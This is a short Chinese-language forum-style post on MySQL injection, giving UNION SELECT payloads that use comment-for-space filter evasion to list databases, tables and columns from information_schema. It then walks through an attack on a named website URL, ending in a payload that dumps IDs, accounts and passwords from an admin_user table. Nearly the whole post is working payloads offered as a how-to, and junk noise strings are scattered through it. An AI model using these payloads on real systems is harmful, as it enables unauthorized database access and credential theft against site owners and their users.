mysql注入技巧

admin

查库

id=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

查表

id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1

查段

id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
0 O3 |. `2 e/ x$ w

mysql5高级注入方法暴表
$ K% e, j  N+ i2 r3 A7 a
例子如下:
' R0 ?6 ~& L6 x; h
1.爆表
0 a+ J0 {5 M, p% Z! l& J! T- F: q) r8 Ohttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
! G( Z6 k( D8 J# S- d. h6 e这样爆到第4个时出现了admin_user表。

+ z2 }; y0 z$ L7 d$ s0 O( l: m2.暴字段
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
& y" L! C! z+ L- g& R& m

6 G4 U3 m' \/ t* ]$ ]/ p3.爆密码
4 Z7 z; M& X% L6 }1 i- w# b1 ^- `http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
2 I+ R" o7 G. d" P5 A; h$ u+ G
( D  \- |/ L! P2 S5 A' Z: B! ^
! |/ {. g* U1 g) w; @